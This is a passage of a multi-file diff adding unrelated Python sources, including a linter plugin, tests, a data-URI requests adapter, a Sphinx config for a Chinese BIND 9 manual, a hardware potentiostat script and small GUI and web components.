persist, PythonLinter + + +class Frosted(PythonLinter): + + """Provides an interface to frosted""" + + syntax = 'python' + cmd = ('frosted@python', '--verbose', '*', '-') + version_args = '--version' + version_re = r'(?P\d+\.\d+\.\d+)' + version_requirement = '>= 1.3.2' + regex = r"""(?x) + ^ + .+? # filename + : + (?P\d+) + : + (?P\d+) + : + (?P(?:(?PE)|(?P[IW]))\d{3}) + : + (?P[^:]*) + : + (?P.*) + $ + """ + multiline = False + line_col_base = (1, 0) + defaults = { + '--ignore:': [] + } + inline_overrides = ('ignore', ) + module = 'frosted.api' + check_version = True + + # Internal + reporter = None + + __transform_options = { + 'ignore': 'ignore_frosted_errors' + } + + def split_match(self, match): + """Extract and return values from match.""" + match, line, col, error, warning, message, near = super().split_match(match) + + if not near: + near = None + else: + col = None + + return match, line, col, error, warning, message, near + + def check(self, code, filename): + """Run frosted.check on code and return the output.""" + output = StringIO() + Reporter = self.get_reporter() + + options = { + 'filename': filename, + 'reporter': Reporter(output, output), + 'verbose': True + } + + type_map = { + 'ignore': [] + } + + transform = lambda s: self.__transform_options.get(s, s.replace('-', '_')) + self.build_options(options, type_map, transform) + + if persist.debug_mode(): + persist.printf('{} options: {}'.format(self.name, options)) + + self.module.check(code, **options) + return output.getvalue() + + def get_reporter(self): + """Return frosted.Reporter. Must be deferred to runtime.""" + if self.reporter is None: + from frosted.reporter import Reporter + self.__class__.reporter = Reporter + + return self.reporter diff --git a/pool/shard009/Python/0084296_test_park.py b/pool/shard009/Python/0084296_test_park.py new file mode 100644 index 0000000000000000000000000000000000000000..3ae308fc4cf7450dbe729f5ac20a23037c64968f --- /dev/null +++ b/pool/shard009/Python/0084296_test_park.py @@ -0,0 +1,28 @@ +import unittest + +from amusement.park import Park +from amusement.show import Show +from amusement.ride import Ride + +class ParkTestCase(unittest.TestCase): + def test_rides_no_rides(self): + park = Park() + with self.assertRaises(Exception): + self.assertEqual(park.rides(), []) + + def test_shows_no_shows(self): + park = Park() + with self.assertRaises(Exception): + self.assertEqual(park.shows(), []) + + def test_addRide(self): + park = Park() + ride = Ride() + park.addRide(ride) + self.assertEqual(len(park.rides()), 1) + + def test_addShow(self): + park = Park() + show = Show() + park.addShow(show) + self.assertEqual(len(park.shows()), 1) diff --git a/pool/shard009/Python/0084300_adapters.py b/pool/shard009/Python/0084300_adapters.py new file mode 100644 index 0000000000000000000000000000000000000000..9201a490eaa1c4957864b2cbfab99f3d4c579006 --- /dev/null +++ b/pool/shard009/Python/0084300_adapters.py @@ -0,0 +1,88 @@ +from email.utils import formatdate +from traceback import format_exc +from urllib import unquote as url_unquote +from requests import Response +from requests.adapters import BaseAdapter +from requests.exceptions import RequestException, InvalidURL +from requests.hooks import dispatch_hook +from binascii import a2b_base64 +from StringIO import StringIO + + +class UnsupportedFeature(RequestException): + """Adapter doesn't support this feature.""" + + +class DataAdapter(BaseAdapter): + """adapter for Data URIs""" + + def send(self, request, stream=False, verify=None, cert=None, proxies=None, + timeout=None): + """issue request""" + + data = url_unquote(request.url[len('data:'):]) + + if ',' not in data: + raise InvalidURL('data URL missing comma') + + mime, content = data.split(',', 1) + content = content.strip() + + base64 = False + charset = None + + while ';' in mime: + mime, encoding_spec = mime.rsplit(';', 1) + encoding_spec = encoding_spec.strip() + if encoding_spec == 'base64': + base64 = True + elif not encoding_spec.startswith('charset='): + raise InvalidURL( + 'unrecognized encoding parameter: %r' % encoding_spec + ) + else: + charset = encoding_spec[len('charset='):] + + try: + if base64: + content = a2b_base64(content) + + content_type = mime.strip() + if charset: + content_type += "; charset=" + charset + + response = Response() + response.url = request.url + response.headers['Date'] = formatdate(timeval=None, localtime=True) + + if request.method in ('GET', 'HEAD'): + response.status_code = 200 + response.headers['Content-Length'] = len(content) + response.headers['Last-Modified'] = formatdate() + response.headers['Content-Type'] = content_type + if charset: + response.encoding = charset + response.raw = StringIO(str(content)) + else: + response.status_code = 405 + response.headers['Status'] = '405 Method Not Allowed' + except Exception: + response.status_code = 500 + response.headers['Status'] = '500 Internal Server Error' + response.raw = StringIO(format_exc()) + + # context + response.request = request + response.connection = self + + # hooks + response = dispatch_hook('response', request.hooks, response) + + # streaming + if not stream: + response.content + + return response + + def close(self): + """close connection (currently doesn't do anything)""" diff --git a/pool/shard009/Python/0084301_36.py b/pool/shard009/Python/0084301_36.py new file mode 100644 index 0000000000000000000000000000000000000000..227dad80f536a6828d5dc3bb2670c845ba53ec70 --- /dev/null +++ b/pool/shard009/Python/0084301_36.py @@ -0,0 +1,43 @@ +import requests +from bs4 import BeautifulSoup +import operator + + +def start(url): + word_list = [] + source_code = requests.get(url).text + soup = BeautifulSoup(source_code) + for post_text in soup.findAll('a', {'class': 'post-title'}): + content = post_text.string + # Split sentences into words with split + words = content.lower().split() + for each_word in words: + # print(each_word) + word_list.append(each_word) + clean_up_list(word_list) + + +def clean_up_list(word_list): + clean_word_list = [] + for word in word_list: + symbols = "!@#$%^&*()_+<>?:\",./`~{}[]_+|-=\][" + for i in range(0, len(symbols)): + word = word.replace(symbols[i], "") + if len(word) > 0: + # print(word) + clean_word_list.append(word) + create_dictionary(clean_word_list) + + +def create_dictionary(clean_word_list): + word_count = {} + for word in clean_word_list: + if word in word_count: + word_count[word] += 1 + else: + word_count[word] = 1 + for key, value in sorted(word_count.items(), key=operator.itemgetter(1)): + print(key, value) + + +start('https://www.thenewboston.com/forum/') \ No newline at end of file diff --git a/pool/shard009/Python/0084303_conf.py b/pool/shard009/Python/0084303_conf.py new file mode 100644 index 0000000000000000000000000000000000000000..8cea78d55ab6c7c3ffb53f2df5e7b1dc5aaa6c5c --- /dev/null +++ b/pool/shard009/Python/0084303_conf.py @@ -0,0 +1,169 @@ +############################################################################ +# Copyright (C) Internet Systems Consortium, Inc. ("ISC") +# +# This Source Code Form is subject to the terms of the Mozilla Public +# License, v. 2.0. If a copy of the MPL was not distributed with this +# file, you can obtain one at https://mozilla.org/MPL/2.0/. +# +# See the COPYRIGHT file distributed with this work for additional +# information regarding copyright ownership. +############################################################################ + +# flake8: noqa: E501 + +from typing import List, Tuple + +from docutils import nodes +from docutils.nodes import Node, system_message +from docutils.parsers.rst import roles + +from sphinx import addnodes +from sphinx.util.docutils import ReferenceRole + + +GITLAB_BASE_URL = 'https://gitlab.isc.org/isc-projects/bind9/-/' + + +# Custom Sphinx role enabling automatic hyperlinking to GitLab issues/MRs. +class GitLabRefRole(ReferenceRole): + def __init__(self, base_url: str) -> None: + self.base_url = base_url + super().__init__() + + def run(self) -> Tuple[List[Node], List[system_message]]: + gl_identifier = '[GL %s]' % self.target + + target_id = 'index-%s' % self.env.new_serialno('index') + entries = [('single', 'GitLab; ' + gl_identifier, target_id, '', None)] + + index = addnodes.index(entries=entries) + target = nodes.target('', '', ids=[target_id]) + self.inliner.document.note_explicit_target(target) + + try: + refuri = self.build_uri() + reference = nodes.reference('', '', internal=False, refuri=refuri, + classes=['gl']) + if self.has_explicit_title: + reference += nodes.strong(self.title, self.title) + else: + reference += nodes.strong(gl_identifier, gl_identifier) + except ValueError: + error_text = 'invalid GitLab identifier %s' % self.target + msg = self.inliner.reporter.error(error_text, line=self.lineno) + prb = self.inliner.problematic(self.rawtext, self.rawtext, msg) + return [prb], [msg] + + return [index, target, reference], [] + + def build_uri(self): + if self.target[0] == '#': + return self.base_url + 'issues/%d' % int(self.target[1:]) + if self.target[0] == '!': + return self.base_url + 'merge_requests/%d' % int(self.target[1:]) + raise ValueError + + +def setup(_): + roles.register_local_role('gl', GitLabRefRole(GITLAB_BASE_URL)) + +# Configuration file for the Sphinx documentation builder. +# +# This file only contains a selection of the most common options. For a full +# list see the documentation: +# https://www.sphinx-doc.org/en/master/usage/configuration.html + +# -- Path setup -------------------------------------------------------------- + +# If extensions (or modules to document with autodoc) are in another directory, +# add these directories to sys.path here. If the directory is relative to the +# documentation root, use os.path.abspath to make it absolute, like shown here. +# +# import os +# import sys +# sys.path.insert(0, os.path.abspath('.')) + + +# -- Project information ----------------------------------------------------- + +project = 'BIND 9 管理员参考手册' +copyright = u'2021, Internet Systems Consortium' +author = u"Internet Systems Consortium \\and 翻译: sunguonian@yahoo.com" + +# The full version, including alpha/beta/rc tags +release = 'BIND 9.16.25(稳定版)' + + +# -- General configuration --------------------------------------------------- + +# Add any Sphinx extension module names here, as strings. They can be +# extensions coming with Sphinx (named 'sphinx.ext.*') or your custom +# ones. +extensions = [] + +# Add any paths that contain templates here, relative to this directory. +templates_path = ['_templates'] + +# The language for content autogenerated by Sphinx. Refer to documentation +# for a list of supported languages. +# +# This is also used if you do content translation via gettext catalogs. +# Usually you set "language" from the command line for these cases. +language = 'zh_CN' + +# List of patterns, relative to source directory, that match files and +# directories to ignore when looking for source files. +# This pattern also affects html_static_path and html_extra_path. +exclude_patterns = [ + '_build', + 'Thumbs.db', + '.DS_Store', + '*.grammar.rst', + '*.zoneopts.rst', + 'catz.rst', + 'dlz.rst', + 'dnssec.rst', + 'dyndb.rst', + 'logging-cattegories.rst', + 'managed-keys.rst', + 'pkcs11.rst', + 'plugins.rst' +] + +# The master toctree document. +master_doc = 'index' + +# -- Options for HTML output ------------------------------------------------- + +# The theme to use for HTML and HTML Help pages. See the documentation for +# a list of builtin themes. +# +#html_theme = 'alabaster' +html_theme = 'sphinx_rtd_theme' + +# Add any paths that contain custom static files (such as style sheets) here, +# relative to this directory. They are copied after the builtin static files, +# so a file named "default.css" will overwrite the builtin "default.css". +#html_static_path = ['_static'] + + +latex_engine = 'xelatex' + +latex_elements = { + 'fontpkg': r''' +\setmainfont{Source Han Serif CN:style=Regular} +\setsansfont{Source Han Sans CN Medium:style=Medium,Regular} +\setmonofont{Source Han Sans CN:style=Regular} + +\setCJKfamilyfont{song}{Source Han Serif CN:style=Regular} +\setCJKfamilyfont{heiti}{Source Han Sans CN:style=Regular} +''', + 'pointsize': '11pt', + 'preamble': r'\input{../mystyle.tex.txt}' +} + +latex_documents = [ + (master_doc, 'Bv9ARM.tex', u'BIND 9管理员参考手册', author, 'manual'), +] + +latex_logo = "isc-logo.pdf" diff --git a/pool/shard009/Python/0084304_tools.py b/pool/shard009/Python/0084304_tools.py new file mode 100644 index 0000000000000000000000000000000000000000..3bf0e1860f1788fedbd9aadd7deb79da77e507c3 --- /dev/null +++ b/pool/shard009/Python/0084304_tools.py @@ -0,0 +1,36 @@ +import socket +import psutil + + +def socket_prefix(prefix): + return dict((getattr(socket, attr), attr) for attr in dir(socket) if attr.startswith(prefix)) + + +socket_families = socket_prefix('AF_') +socket_types = socket_prefix('SOCK_') + + +def get_rlimits(process): + return { + 'RLIMIT_AS': process.rlimit(psutil.RLIMIT_AS), + 'RLIMIT_CORE': process.rlimit(psutil.RLIMIT_CORE), + 'RLIMIT_CPU': process.rlimit(psutil.RLIMIT_CPU), + 'RLIMIT_DATA': process.rlimit(psutil.RLIMIT_DATA), + 'RLIMIT_FSIZE': process.rlimit(psutil.RLIMIT_FSIZE), + 'RLIMIT_LOCKS': process.rlimit(psutil.RLIMIT_LOCKS), + 'RLIMIT_MEMLOCK': process.rlimit(psutil.RLIMIT_MEMLOCK), + 'RLIMIT_MSGQUEUE': process.rlimit(psutil.RLIMIT_MSGQUEUE), + 'RLIMIT_NICE': process.rlimit(psutil.RLIMIT_NICE), + 'RLIMIT_NOFILE': process.rlimit(psutil.RLIMIT_NOFILE), + 'RLIMIT_NPROC': process.rlimit(psutil.RLIMIT_NPROC), + 'RLIMIT_RSS': process.rlimit(psutil.RLIMIT_RSS), + 'RLIMIT_RTPRIO': process.rlimit(psutil.RLIMIT_RTPRIO), + 'RLIMIT_RTTIME': process.rlimit(psutil.RLIMIT_RTTIME), + 'RLIMIT_SIGPENDING': process.rlimit(psutil.RLIMIT_SIGPENDING), + 'RLIMIT_STACK': process.rlimit(psutil.RLIMIT_STACK) + } + + +# B to M +def b_to_m(value): + return round(value / 1048576.0, 2) diff --git a/pool/shard009/Python/0084305_datalabeling_v1beta1_generated_data_labeling_service_import_data_async.py b/pool/shard009/Python/0084305_datalabeling_v1beta1_generated_data_labeling_service_import_data_async.py new file mode 100644 index 0000000000000000000000000000000000000000..6e4b00886435b7407b51aaf2aef016747705d97c --- /dev/null +++ b/pool/shard009/Python/0084305_datalabeling_v1beta1_generated_data_labeling_service_import_data_async.py @@ -0,0 +1,49 @@ +# -*- coding: utf-8 -*- +# Copyright 2022 Google LLC +# +# Licensed under the Apache License, Version 2.0 (the "License"); +# you may not use this file except in compliance with the License. +# You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, software +# distributed under the License is distributed on an "AS IS" BASIS, +# WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. +# See the License for the specific language governing permissions and +# limitations under the License. +# +# Generated code. DO NOT EDIT! +# +# Snippet for ImportData +# NOTE: This snippet has been automatically generated for illustrative purposes only. +# It may require modifications to work in your environment. + +# To install the latest published package dependency, execute the following: +# python3 -m pip install google-cloud-datalabeling + + +# [START datalabeling_v1beta1_generated_DataLabelingService_ImportData_async] +from google.cloud import datalabeling_v1beta1 + + +async def sample_import_data(): + # Create a client + client = datalabeling_v1beta1.DataLabelingServiceAsyncClient() + + # Initialize request argument(s) + request = datalabeling_v1beta1.ImportDataRequest( + name="name_value", + ) + + # Make the request + operation = client.import_data(request=request) + + print("Waiting for operation to complete...") + + response = await operation.result() + + # Handle the response + print(response) + +# [END datalabeling_v1beta1_generated_DataLabelingService_ImportData_async] diff --git a/pool/shard009/Python/0084313_test_elastic_indexer.py b/pool/shard009/Python/0084313_test_elastic_indexer.py new file mode 100644 index 0000000000000000000000000000000000000000..faaafabe82cc6f727e835847bfda74e239234edb --- /dev/null +++ b/pool/shard009/Python/0084313_test_elastic_indexer.py @@ -0,0 +1,66 @@ +#-*- coding:utf-8 -*- +u""" +Created on 20/05/15 +by fccoelho +license: GPL V3 or Later +""" + +__docformat__ = 'restructuredtext en' + + +from mock import patch + +from pypln.backend.workers.elastic_indexer import ElasticIndexer +from .utils import TaskTest +from elasticsearch import Elasticsearch +from elasticsearch.exceptions import NotFoundError + + +class TestIndexer(TaskTest): + def test_indexing_go_through(self): + ES = Elasticsearch() + try: + ES.indices.delete('test_pypln') + except NotFoundError: + pass + ES.indices.create('test_pypln') + doc = { + 'index_name': "test_pypln", + 'doc_type': 'document', + 'file_id': 'deadbeef', + 'text': "Om nama Shivaya "*100, + 'contents': 'raw_file_contents', + } + + doc_id = self.collection.insert(doc, w=1) + ElasticIndexer().delay(doc_id) + refreshed_document = self.collection.find_one({'_id': doc_id}) + self.assertTrue(refreshed_document['created']) + + @patch('pypln.backend.workers.elastic_indexer.ES') + def test_regression_indexing_should_not_include_contents(self, ES): + """ + We should not index the original file contents for two reasons: 1) they + are not relevant to the search. The `text` attribute should include the + relevant content and 2) they may be in a binary format that will not be + serializable. + + See https://github.com/NAMD/pypln.backend/issues/176 for details. + """ + doc = { + 'index_name': "test_pypln", + 'doc_type': 'document', + 'file_id': 'deadbeef', + 'text': "Om nama Shivaya "*100, + 'contents': 'raw_file_contents', + } + + doc_id = self.collection.insert(doc, w=1) + ElasticIndexer().delay(doc_id) + # remove properties that won't be indexed + index_name = doc.pop("index_name") + doc_type = doc.pop('doc_type') + doc.pop('contents') + doc.pop('_id') + ES.index.assert_called_with(body=doc, id=doc['file_id'], + doc_type=doc_type, index=index_name) diff --git a/pool/shard009/Python/0084314_urls.py b/pool/shard009/Python/0084314_urls.py new file mode 100644 index 0000000000000000000000000000000000000000..f8fdd8bc4ea9752b4e0a1bdc497baf18d0744f3e --- /dev/null +++ b/pool/shard009/Python/0084314_urls.py @@ -0,0 +1,13 @@ +from django.urls import re_path +from django.views.generic.base import RedirectView + +from ubuntult import views, feeds + + +urlpatterns = [ + re_path(r'^forum/$', RedirectView.as_view(url='/', permanent=True)), + re_path(r'^forum/viewforum\.php$', views.phpbb_viewforum), + re_path(r'^forum/viewtopic\.php$', views.phpbb_viewtopic), + re_path(r'^feeds/latest/comments/rss/$', feeds.LatestCommentsFeed()), + re_path(r'^user/register/$', views.register, name='register'), +] diff --git a/pool/shard009/Python/0084315_batch_norm.py b/pool/shard009/Python/0084315_batch_norm.py new file mode 100644 index 0000000000000000000000000000000000000000..0a79b6849d4ec05bfe8d6a9ae251e25cc1885529 --- /dev/null +++ b/pool/shard009/Python/0084315_batch_norm.py @@ -0,0 +1,89 @@ +# Licensed to the Apache Software Foundation (ASF) under one +# or more contributor license agreements. See the NOTICE file +# distributed with this work for additional information +# regarding copyright ownership. The ASF licenses this file +# to you under the Apache License, Version 2.0 (the +# "License"); you may not use this file except in compliance +# with the License. You may obtain a copy of the License at +# +# http://www.apache.org/licenses/LICENSE-2.0 +# +# Unless required by applicable law or agreed to in writing, +# software distributed under the License is distributed on an +# "AS IS" BASIS, WITHOUT WARRANTIES OR CONDITIONS OF ANY +# KIND, either express or implied. See the License for the +# specific language governing permissions and limitations +# under the License. +"""Batch Normalization implemented in Numpy.""" +import numpy as np + + +def batch_norm( + x: np.ndarray, + gamma: np.ndarray, + beta: np.ndarray, + moving_mean: np.ndarray, + moving_var: np.ndarray, + axis: int, + epsilon: float, + center: bool, + scale: bool, +): + """Batch Normalization operator implemented in Numpy. + + Parameters + ---------- + data : np.ndarray + Input to be batch-normalized. + + gamma : np.ndarray + Scale factor to be applied to the normalized tensor. + + beta : np.ndarray + Offset to be applied to the normalized tensor. + + moving_mean : np.ndarray + Running mean of input. + + moving_var : np.ndarray + Running variance of input. + + axis : int + Specify along which shape axis the normalization should occur. + + epsilon : float + Small float added to variance to avoid dividing by zero. + + center : bool + If True, add offset of beta to normalized tensor, If False, + beta is ignored. + + scale : bool + If True, scale normalized tensor by gamma. If False, gamma + is ignored. + + Returns + ------- + output : np.ndarray + Normalized data with same shape as input + + moving_mean : np.ndarray + Running mean of input. + + moving_var : np.ndarray + Running variance of input. + """ + shape = [1] * len(x.shape) + shape[axis] = x.shape[axis] + + moving_mean_rs = moving_mean.reshape(shape) + moving_var_rs = moving_var.reshape(shape) + + out = (x - moving_mean_rs) / np.sqrt(moving_var_rs + epsilon) + + if scale: + out = out * gamma.reshape(shape) + if center: + out = out + beta.reshape(shape) + + return [out, moving_mean, moving_var] diff --git a/pool/shard009/Python/0084317_sanitycheck.py b/pool/shard009/Python/0084317_sanitycheck.py new file mode 100644 index 0000000000000000000000000000000000000000..2ca25a7c9f22ee8a3c0e1fae7e65e0b93cae4b78 --- /dev/null +++ b/pool/shard009/Python/0084317_sanitycheck.py @@ -0,0 +1,83 @@ +from pylab import * +import numpy +import ardustat_library_simple as ard +import time +import subprocess + +#start a serial forwarder +p = subprocess.Popen(("python tcp_serial_redirect.py /dev/tty.usbmodemfa131 57600").split()) + +#connecto to ardustat and setup resistance table +a = ard.ardustat() +a.connect(7777) +a.debug = False +a.load_resistance_table(16) + +#create arrays + a function for logging data +times = [] +potential = [] +current = [] +time_start = time.time() +def appender(reading): + print reading['cell_ADC'],read['current'] + potential.append(reading['cell_ADC']) + current.append(reading['current']) + times.append(time.time()-time_start) + + +#Step through values +output = 0 +print a.ocv() +for i in range(0,10): + time.sleep(.1) + read = a.parsedread() + appender(read) + +while output < 2: + output = output + .1 + print a.potentiostat(output) + for i in range(0,3): + time.sleep(.1) + read = a.parsedread() + appender(read) +print a.ocv() +for i in range(0,10): + time.sleep(.1) + read = a.parsedread() + appender(read) + +output = 0 +while output < .001: + output = output + .0001 + a.galvanostat(output) + for i in range(0,3): + time.sleep(.1) + read = a.parsedread() + appender(read) + +print a.ocv() +for i in range(0,10): + time.sleep(.1) + read = a.parsedread() + appender(read) + + + +#Make sure everything plots out realistically +subplot(3,1,1) +plot(times,potential,'.') +title("Potential vs. Time") +ylabel("Potential (V)") + +subplot(3,1,2) +plot(times,current,'.') +title("Current vs. Time") +ylabel("Current (A)") +subplot(3,1,3) +plot(times,numpy.array(potential)/numpy.array(current)) +title("Resistance vs. Time") +ylabel("Resistance (Ohms)") +xlabel("Time (s)") +show() + +p.kill() \ No newline at end of file diff --git a/pool/shard009/Python/0084319_registry.py b/pool/shard009/Python/0084319_registry.py new file mode 100644 index 0000000000000000000000000000000000000000..537501e2af51dc3cb3a53dec6720d76ec25efa91 --- /dev/null +++ b/pool/shard009/Python/0084319_registry.py @@ -0,0 +1,96 @@ +# ============================================================================= +# Authors: PAR Government +# Organization: DARPA +# +# Copyright (c) 2016 PAR Government +# All rights reserved. +#============================================================================== + +class IoCBroker: + + """ + @type components: dict[str,list of IoCComponent] + @type providers: dict[str, list] + """ + def __init__(self): + self.components = {} + self.providers = {} + + def define(self, requirement): + """ + :param requirement: + :return: + @type requirement: IoCComponent + """ + if requirement.name not in self.components: + self.components[requirement.name] = [] + requirements = self.components[requirement.name] + requirements.append(requirement) + + def register(self, name, provider): + """ + + :param provider: some class + :return: + """ + if name not in self.components: + raise KeyError, "Unknown service named %r" % name + definition = self.components[name] + for requirement in definition: + if not requirement.assertion(provider): + ValueError, "The value %r of %r does not match the specified criteria (%s)" \ + % (provider, name, str(requirement)) + self.providers[name] = provider + + def __getitem__(self, name): + try: + provider = self.providers[name] + except KeyError: + raise KeyError, "Unknown service named %r" % name + return provider + +broker = IoCBroker() + +###################################################################### +## +## Representation of Required Features and Feature Assertions +## +###################################################################### + +# +# Some basic requirements for service +# + +def Attribute(name,att_type): + def test(obj): + if not hasattr(obj, name): return False + return True + return test + +def Method(method): + def test(obj): + try: + attr = getattr(obj, method) + except AttributeError: + return False + if not callable(attr): return False + return True + return test + +class IoCComponent(object): + def __init__(self, name, feature): + self.feature = feature.func_closure[0].cell_contents + self.name = name + self.assertion=feature + broker.define(self) + + def __get__(self, obj, T): + return getattr(self.result,self.feature) + + def __getattr__(self, name): + assert name == 'result', "Unexpected attribute request other then 'result'" + self.result = broker[self.name] + return self.result + + + diff --git a/pool/shard009/Python/0084323_listener_example.py b/pool/shard009/Python/0084323_listener_example.py new file mode 100644 index 0000000000000000000000000000000000000000..ff7e08c19744c01ab204f1689bf3823bdfb5bd2c --- /dev/null +++ b/pool/shard009/Python/0084323_listener_example.py @@ -0,0 +1,35 @@ +#!/usr/bin/env python + +__author__ = 'Igor Maculan ' +import logging + +from pushbullet import Listener +from pushbullet import Pushbullet + + +logging.basicConfig(level=logging.DEBUG) + +API_KEY = '' # YOUR API KEY +HTTP_PROXY_HOST = None +HTTP_PROXY_PORT = None + + +def on_push(data): + print('Received data:\n{}'.format(data)) + + +def main(): + pb = Pushbullet(API_KEY) + + s = Listener(account=pb, + on_push=on_push, + http_proxy_host=HTTP_PROXY_HOST, + http_proxy_port=HTTP_PROXY_PORT) + try: + s.run_forever() + except KeyboardInterrupt: + s.close() + + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0084340_gui.py b/pool/shard009/Python/0084340_gui.py new file mode 100644 index 0000000000000000000000000000000000000000..78823b4070045eebfc0eb53953f6ce46666e4550 --- /dev/null +++ b/pool/shard009/Python/0084340_gui.py @@ -0,0 +1,68 @@ +import wx +import wx.lib.agw.gradientbutton as gbtn +import wx.lib.platebtn as platebtn + +class Example(wx.Frame): + + def __init__(self, *args, **kwargs): + super(Example, self).__init__(*args, **kwargs) + + self.InitUI() + + def InitUI(self): + + panel = wx.Panel(self, wx.ID_ANY) + menubar = wx.MenuBar() + + fileMenu = wx.Menu() + fileMenu.Append(wx.ID_OPEN, '&Open') + fileMenu.AppendSeparator() + imp = wx.Menu() + imp.Append(wx.ID_ANY, 'Import .csv') + imp.Append(wx.ID_ANY, 'Import .html') + + + fileMenu.AppendMenu(wx.ID_ANY, 'I&mport', imp) + + qmi = wx.MenuItem(fileMenu, wx.ID_EXIT, '&Quit\tCtrl+W') + fileMenu.AppendItem(qmi) + + self.Bind(wx.EVT_MENU, self.OnQuit, qmi) + + menubar.Append(fileMenu, '&File') + self.SetMenuBar(menubar) + cbtn1 = wx.Button(panel, label='GET MARKS',size=(120,50)) + cbtn2=wx.Button(panel, label='ANALYZE MARKS',size=(120,50)) + #btn1 = platebtn.PlateButton(panel, label="GET MARKS", style=platebtn.PB_STYLE_GRADIENT,size=(100,100)) + #btn2= platebtn.PlateButton(panel, label="ANALYZE MARKS", style=platebtn.PB_STYLE_GRADIENT) + #gbtn1 = gbtn.GradientButton(panel,label="Get marks") + cbtn1.Bind(wx.EVT_BUTTON, self.OnQuit) + cbtn2.Bind(wx.EVT_BUTTON, self.OnQuit) + vsizer = wx.BoxSizer(wx.VERTICAL) + hsizer1 = wx.BoxSizer(wx.HORIZONTAL) + hsizer2 = wx.BoxSizer(wx.HORIZONTAL) + hsizer1.Add(cbtn1, 0, wx.CENTER|wx.ALL, 10) + hsizer2.Add(cbtn2, 0, wx.CENTER|wx.ALL, 20) + vsizer.AddMany([(hsizer1, 0, wx.CENTER|wx.ALL, 10),(hsizer2, 0, wx.CENTER|wx.ALL, 20)]) + panel.SetSizer(vsizer) + """sizer = wx.BoxSizer(wx.VERTICAL) + sizer.Add(btn1, 0, wx.ALL, 5) + panel.SetSizer(sizer)""" + + self.SetSize((350, 250)) + self.SetTitle('Result & Analyze') + self.Centre() + self.Show(True) + + def OnQuit(self, e): + self.Close() + +def main(): + + ex = wx.App() + Example(None) + ex.MainLoop() + + +if __name__ == '__main__': + main() diff --git a/pool/shard009/Python/0084348_component.py b/pool/shard009/Python/0084348_component.py new file mode 100644 index 0000000000000000000000000000000000000000..69f67c2e672f958990f0d217c6d32ca487781902 --- /dev/null +++ b/pool/shard009/Python/0084348_component.py @@ -0,0 +1,149 @@ +from ferris.core.ndb import ndb +from ferris.core.response_handlers import ResponseHandler +from protopigeon import Message, model_message, to_message, messages +import logging + + +def list_message(message_type): + name = message_type.__name__ + 'List' + fields = { + 'items': messages.MessageField(message_type, 1, repeated=True), + 'next_page': messages.StringField(2), + 'previous_page': messages.StringField(3), + 'limit': messages.IntegerField(4), + 'count': messages.IntegerField(5), + 'page': messages.IntegerField(6) + } + return type(name, (messages.Message,), fields) + + +class ErrorMessage(Message): + errors = messages.StringField(1, repeated=True) + + +# Install a new int response handler that can detect if +# Errors are present and if so can show them instead of a generic +# 400 error + +class IntResponseHandler(ResponseHandler): + type = int + + def process(self, handler, result): + handler._clear_redirect() + if result == 400 and 'messaging' in handler.components and 'errors' in handler.context and handler.components.messaging.transform: + handler.response = handler.meta.view.render() + handler.response.status = result + else: + handler.abort(result) + + +class Messaging(object): + def __init__(self, controller): + from ferris.core.scaffold import Scaffolding + + self.controller = controller + self.transform = False + + # Make sure scaffold is ahead of us + if Scaffolding in controller.Meta.components: + if controller.Meta.components.index(Messaging) < controller.Meta.components.index(Scaffolding): + raise ValueError("Scaffolding must come before Messaging in the component list for controller %s" % controller.name) + + # Create a Message class if needed + if not hasattr(self.controller.meta, 'Message'): + if not hasattr(self.controller.meta, 'Model'): + raise ValueError('Controller.Meta must have a Message or Model class.') + setattr(self.controller.meta, 'Message', model_message(self.controller.meta.Model)) + + # Prefixes to automatically treat as messenging views + if not hasattr(self.controller.meta, 'messaging_prefixes'): + setattr(self.controller.meta, 'messaging_prefixes', ('api',)) + + # Variable names to check for data + if not hasattr(self.controller.meta, 'messaging_variable_names'): + setattr(self.controller.meta, 'messaging_variable_names', ('data',)) + + if hasattr(self.controller, 'scaffold'): + self.controller.meta.messaging_variable_names += (self.controller.scaffold.plural, self.controller.scaffold.singular) + + # Events + self.controller.events.before_startup += self._on_before_startup + self.controller.events.before_render += self._on_before_render + + def _on_before_startup(self, controller, *args, **kwargs): + if controller.route.prefix in self.controller.meta.messaging_prefixes: + self.activate() + + def activate(self): + self.transform = True + self.controller.meta.Parser = 'Message' + self.controller.meta.change_view('Message') + + if hasattr(self.controller, 'scaffold'): + self.controller.scaffold.flash_messages = False + self.controller.scaffold.redirect = False + + __call__ = activate + + def _get_data(self): + for v in self.controller.meta.messaging_variable_names: + data = self.controller.context.get(v, None) + if data: + return data + + def _transform_data(self, data): + if isinstance(data, Message): + return data + if isinstance(data, (list, ndb.Query)): + return self._transform_query(data) + if isinstance(data, ndb.Model): + return self._transform_entity(data) + return data + + def _transform_query(self, query): + ListMessage = list_message(self.controller.meta.Message) + items = [self._transform_entity(x) for x in query] + next_page_link = None + prev_page_link = None + limit = None + count = len(items) + page = None + + if 'pagination' in self.controller.components: + previous_cursor, current_cursor, next_cursor, page, limit, count = self.controller.components.pagination.get_pagination_info() + + if next_cursor: + next_page_link = self.controller.uri(_pass_all=True, cursor=next_cursor, _full=True) + + if previous_cursor is not None or page > 1: + prev_page_link = self.controller.uri(_pass_all=True, cursor=previous_cursor, _full=True) + + return ListMessage( + items=items, + next_page=next_page_link, + previous_page=prev_page_link, + limit=limit, + count=count, + page=page) + + def _transform_entity(self, entity): + if hasattr(self.controller.meta, 'messaging_transform_function'): + return self.controller.meta.messaging_transform_function(entity, self.controller.meta.Message) + return to_message(entity, self.controller.meta.Message) + + def _transform_errors(self): + errors = self.controller.context.get('errors') + msg = ErrorMessage(errors=errors) + return msg + + def render(self): + if 'errors' in self.controller.context: + data = self._transform_errors() + else: + data = self._get_data() + data = self._transform_data(data) + self.controller.context['data'] = data + + def _on_before_render(self, *args, **kwargs): + if self.transform: + self.render() diff --git a/pool/shard009/Python/0084350_RegisterUsersPasswordFail.py b/pool/shard009/Python/0084350_RegisterUsersPasswordFail.py new file mode 100644 index 0000000000000000000000000000000000000000..89707f57c9521ea60ba6904a191c3504316f7ee0 --- /dev/null +++ b/pool/shard009/Python/0084350_RegisterUsersPasswordFail.py @@ -0,0 +1,59 @@ +# -*- coding: utf-8 -*- +from selenium import webdriver +from selenium.webdriver.common.by import By +from selenium.webdriver.common.keys import Keys +from selenium.webdriver.support.ui import Select +from selenium.common.exceptions import NoSuchElementException +from selenium.common.exceptions import 